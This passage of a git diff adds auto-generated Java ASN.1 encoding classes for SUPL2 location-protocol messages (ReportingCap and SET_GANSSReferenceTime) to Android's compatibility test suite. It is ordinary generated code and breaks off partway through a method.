+
+/**
+*/
+public class ReportingCap extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_ReportingCap
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ReportingCap() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ReportingCap;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ReportingCap != null) {
+ return ImmutableList.of(TAG_ReportingCap);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ReportingCap from encoded stream.
+ */
+ public static ReportingCap fromPerUnaligned(byte[] encodedBytes) {
+ ReportingCap result = new ReportingCap();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ReportingCap from encoded stream.
+ */
+ public static ReportingCap fromPerAligned(byte[] encodedBytes) {
+ ReportingCap result = new ReportingCap();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private ReportingCap.minIntType minInt_;
+ public ReportingCap.minIntType getMinInt() {
+ return minInt_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ReportingCap.minIntType
+ */
+ public void setMinInt(Asn1Object value) {
+ this.minInt_ = (ReportingCap.minIntType) value;
+ }
+ public ReportingCap.minIntType setMinIntToNewInstance() {
+ minInt_ = new ReportingCap.minIntType();
+ return minInt_;
+ }
+
+ private ReportingCap.maxIntType maxInt_;
+ public ReportingCap.maxIntType getMaxInt() {
+ return maxInt_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ReportingCap.maxIntType
+ */
+ public void setMaxInt(Asn1Object value) {
+ this.maxInt_ = (ReportingCap.maxIntType) value;
+ }
+ public ReportingCap.maxIntType setMaxIntToNewInstance() {
+ maxInt_ = new ReportingCap.maxIntType();
+ return maxInt_;
+ }
+
+ private RepMode_cap repMode_;
+ public RepMode_cap getRepMode() {
+ return repMode_;
+ }
+ /**
+ * @throws ClassCastException if value is not a RepMode_cap
+ */
+ public void setRepMode(Asn1Object value) {
+ this.repMode_ = (RepMode_cap) value;
+ }
+ public RepMode_cap setRepModeToNewInstance() {
+ repMode_ = new RepMode_cap();
+ return repMode_;
+ }
+
+ private BatchRepCap batchRepCap_;
+ public BatchRepCap getBatchRepCap() {
+ return batchRepCap_;
+ }
+ /**
+ * @throws ClassCastException if value is not a BatchRepCap
+ */
+ public void setBatchRepCap(Asn1Object value) {
+ this.batchRepCap_ = (BatchRepCap) value;
+ }
+ public BatchRepCap setBatchRepCapToNewInstance() {
+ batchRepCap_ = new BatchRepCap();
+ return batchRepCap_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getMinInt() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMinInt();
+ }
+
+ @Override public void setToNewInstance() {
+ setMinIntToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ReportingCap.minIntType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "minInt : "
+ + getMinInt().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getMaxInt() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMaxInt();
+ }
+
+ @Override public void setToNewInstance() {
+ setMaxIntToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ReportingCap.maxIntType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "maxInt : "
+ + getMaxInt().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getRepMode() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRepMode();
+ }
+
+ @Override public void setToNewInstance() {
+ setRepModeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? RepMode_cap.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "repMode : "
+ + getRepMode().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getBatchRepCap() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBatchRepCap();
+ }
+
+ @Override public void setToNewInstance() {
+ setBatchRepCapToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? BatchRepCap.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "batchRepCap : "
+ + getBatchRepCap().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class minIntType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_minIntType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public minIntType() {
+ super();
+ setValueRange("1", "3600");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_minIntType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_minIntType != null) {
+ return ImmutableList.of(TAG_minIntType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new minIntType from encoded stream.
+ */
+ public static minIntType fromPerUnaligned(byte[] encodedBytes) {
+ minIntType result = new minIntType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new minIntType from encoded stream.
+ */
+ public static minIntType fromPerAligned(byte[] encodedBytes) {
+ minIntType result = new minIntType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "minIntType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class maxIntType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_maxIntType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public maxIntType() {
+ super();
+ setValueRange("1", "1440");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_maxIntType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_maxIntType != null) {
+ return ImmutableList.of(TAG_maxIntType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new maxIntType from encoded stream.
+ */
+ public static maxIntType fromPerUnaligned(byte[] encodedBytes) {
+ maxIntType result = new maxIntType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new maxIntType from encoded stream.
+ */
+ public static maxIntType fromPerAligned(byte[] encodedBytes) {
+ maxIntType result = new maxIntType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "maxIntType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("ReportingCap = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SET_GANSSReferenceTime.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SET_GANSSReferenceTime.java
new file mode 100755
index 0000000..8935a0a
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SET_GANSSReferenceTime.java
@@ -0,0 +1,1703 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Choice;
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.ChoiceComponent;
+import android.location.cts.asn1.base.SequenceComponent;
+import android.location.cts.asn1.supl2.ulp_components.CellParametersID;
+import android.location.cts.asn1.supl2.ulp_components.PrimaryCPICH_Info;
+import com.google.common.collect.ImmutableList;
+import java.nio.ByteBuffer;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.Map;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class SET_GANSSReferenceTime extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_SET_GANSSReferenceTime
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SET_GANSSReferenceTime() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SET_GANSSReferenceTime;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SET_GANSSReferenceTime != null) {
+ return ImmutableList.of(TAG_SET_GANSSReferenceTime);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SET_GANSSReferenceTime from encoded stream.
+ */
+ public static SET_GANSSReferenceTime fromPerUnaligned(byte[] encodedBytes) {
+ SET_GANSSReferenceTime result = new SET_GANSSReferenceTime();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SET_GANSSReferenceTime from encoded stream.
+ */
+ public static SET_GANSSReferenceTime fromPerAligned(byte[] encodedBytes) {
+ SET_GANSSReferenceTime result = new SET_GANSSReferenceTime();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private SET_GANSSReferenceTime.set_GANSSTimingOfCellType set_GANSSTimingOfCell_;
+ public SET_GANSSReferenceTime.set_GANSSTimingOfCellType getSet_GANSSTimingOfCell() {
+ return set_GANSSTimingOfCell_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SET_GANSSReferenceTime.set_GANSSTimingOfCellType
+ */
+ public void setSet_GANSSTimingOfCell(Asn1Object value) {
+ this.set_GANSSTimingOfCell_ = (SET_GANSSReferenceTime.set_GANSSTimingOfCellType) value;
+ }
+ public SET_GANSSReferenceTime.set_GANSSTimingOfCellType setSet_GANSSTimingOfCellToNewInstance() {
+ set_GANSSTimingOfCell_ = new SET_GANSSReferenceTime.set_GANSSTimingOfCellType();
+ return set_GANSSTimingOfCell_;
+ }
+
+ private SET_GANSSReferenceTime.modeSpecificInfoType modeSpecificInfo_;
+ public SET_GANSSReferenceTime.modeSpecificInfoType getModeSpecificInfo() {
+ return modeSpecificInfo_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SET_GANSSReferenceTime.modeSpecificInfoType
+ */
+ public void setModeSpecificInfo(Asn1Object value) {
+ this.modeSpecificInfo_ = (SET_GANSSReferenceTime.modeSpecificInfoType) value;
+ }
+ public SET_GANSSReferenceTime.modeSpecificInfoType setModeSpecificInfoToNewInstance() {
+ modeSpecificInfo_ = new SET_GANSSReferenceTime.modeSpecificInfoType();
+ return modeSpecificInfo_;
+ }
+
+ private SET_GANSSReferenceTime.sfnType sfn_;
+ public SET_GANSSReferenceTime.sfnType getSfn() {
+ return sfn_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SET_GANSSReferenceTime.sfnType
+ */
+ public void setSfn(Asn1Object value) {
+ this.sfn_ = (SET_GANSSReferenceTime.sfnType) value;
+ }
+ public SET_GANSSReferenceTime.sfnType setSfnToNewInstance() {
+ sfn_ = new SET_GANSSReferenceTime.sfnType();
+ return sfn_;
+ }
+
+ private SET_GANSSReferenceTime.ganss_TODUncertaintyType ganss_TODUncertainty_;
+ public SET_GANSSReferenceTime.ganss_TODUncertaintyType getGanss_TODUncertainty() {
+ return ganss_TODUncertainty_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SET_GANSSReferenceTime.ganss_TODUncertaintyType
+ */
+ public void setGanss_TODUncertainty(Asn1Object value) {
+ this.ganss_TODUncertainty_ = (SET_GANSSReferenceTime.ganss_TODUncertaintyType) value;
+ }
+ public SET_GANSSReferenceTime.ganss_TODUncertaintyType setGanss_TODUncertaintyToNewInstance() {
+ ganss_TODUncertainty_ = new SET_GANSSReferenceTime.ganss_TODUncertaintyType();
+ return ganss_TODUncertainty_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getSet_GANSSTimingOfCell() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSet_GANSSTimingOfCell();
+ }
+
+ @Override public void setToNewInstance() {
+ setSet_GANSSTimingOfCellToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SET_GANSSReferenceTime.set_GANSSTimingOfCellType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "set_GANSSTimingOfCell : "
+ + getSet_GANSSTimingOfCell().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getModeSpecificInfo() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getModeSpecificInfo();
+ }
+
+ @Override public void setToNewInstance() {
+ setModeSpecificInfoToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SET_GANSSReferenceTime.modeSpecificInfoType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "modeSpecificInfo : "
+ + getModeSpecificInfo().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getSfn() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSfn();
+ }
+
+ @Override public void setToNewInstance() {
+ setSfnToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SET_GANSSReferenceTime.sfnType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "sfn : "
+ + getSfn().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanss_TODUncertainty() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanss_TODUncertainty();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanss_TODUncertaintyToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SET_GANSSReferenceTime.ganss_TODUncertaintyType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganss_TODUncertainty : "
+ + getGanss_TODUncertainty().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+*/
+public static class set_GANSSTimingOfCellType extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_set_GANSSTimingOfCellType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public set_GANSSTimingOfCellType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_set_GANSSTimingOfCellType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_set_GANSSTimingOfCellType != null) {
+ return ImmutableList.of(TAG_set_GANSSTimingOfCellType);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new set_GANSSTimingOfCellType from encoded stream.
+ */
+ public static set_GANSSTimingOfCellType fromPerUnaligned(byte[] encodedBytes) {
+ set_GANSSTimingOfCellType result = new set_GANSSTimingOfCellType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new set_GANSSTimingOfCellType from encoded stream.
+ */
+ public static set_GANSSTimingOfCellType fromPerAligned(byte[] encodedBytes) {
+ set_GANSSTimingOfCellType result = new set_GANSSTimingOfCellType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private set_GANSSTimingOfCellType.ms_partType ms_part_;
+ public set_GANSSTimingOfCellType.ms_partType getMs_part() {
+ return ms_part_;
+ }
+ /**
+ * @throws ClassCastException if value is not a set_GANSSTimingOfCellType.ms_partType
+ */
+ public void setMs_part(Asn1Object value) {
+ this.ms_part_ = (set_GANSSTimingOfCellType.ms_partType) value;
+ }
+ public set_GANSSTimingOfCellType.ms_partType setMs_partToNewInstance() {
+ ms_part_ = new set_GANSSTimingOfCellType.ms_partType();
+ return ms_part_;
+ }
+
+ private set_GANSSTimingOfCellType.ls_partType ls_part_;
+ public set_GANSSTimingOfCellType.ls_partType getLs_part() {
+ return ls_part_;
+ }
+ /**
+ * @throws ClassCastException if value is not a set_GANSSTimingOfCellType.ls_partType
+ */
+ public void setLs_part(Asn1Object value) {
+ this.ls_part_ = (set_GANSSTimingOfCellType.ls_partType) value;
+ }
+ public set_GANSSTimingOfCellType.ls_partType setLs_partToNewInstance() {
+ ls_part_ = new set_GANSSTimingOfCellType.ls_partType();
+ return ls_part_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getMs_part() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMs_part();
+ }
+
+ @Override public void setToNewInstance() {
+ setMs_partToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? set_GANSSTimingOfCellType.ms_partType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ms_part : "
+ + getMs_part().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getLs_part() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getLs_part();
+ }
+
+ @Override public void setToNewInstance() {
+ setLs_partToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? set_GANSSTimingOfCellType.ls_partType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ls_part : "
+ + getLs_part().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ms_partType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ms_partType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ms_partType() {
+ super();
+ setValueRange("0", "80");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ms_partType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ms_partType != null) {
+ return ImmutableList.of(TAG_ms_partType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ms_partType from encoded stream.
+ */
+ public static ms_partType fromPerUnaligned(byte[] encodedBytes) {
+ ms_partType result = new ms_partType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ms_partType from encoded stream.
+ */
+ public static ms_partType fromPerAligned(byte[] encodedBytes) {
+ ms_partType result = new ms_partType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ms_partType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ls_partType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ls_partType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ls_partType() {
+ super();
+ setValueRange("0", "4294967295");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ls_partType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ls_partType != null) {
+ return ImmutableList.of(TAG_ls_partType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ls_partType from encoded stream.
+ */
+ public static ls_partType fromPerUnaligned(byte[] encodedBytes) {
+ ls_partType result = new ls_partType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ls_partType from encoded stream.
+ */
+ public static ls_partType fromPerAligned(byte[] encodedBytes) {
+ ls_partType result = new ls_partType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
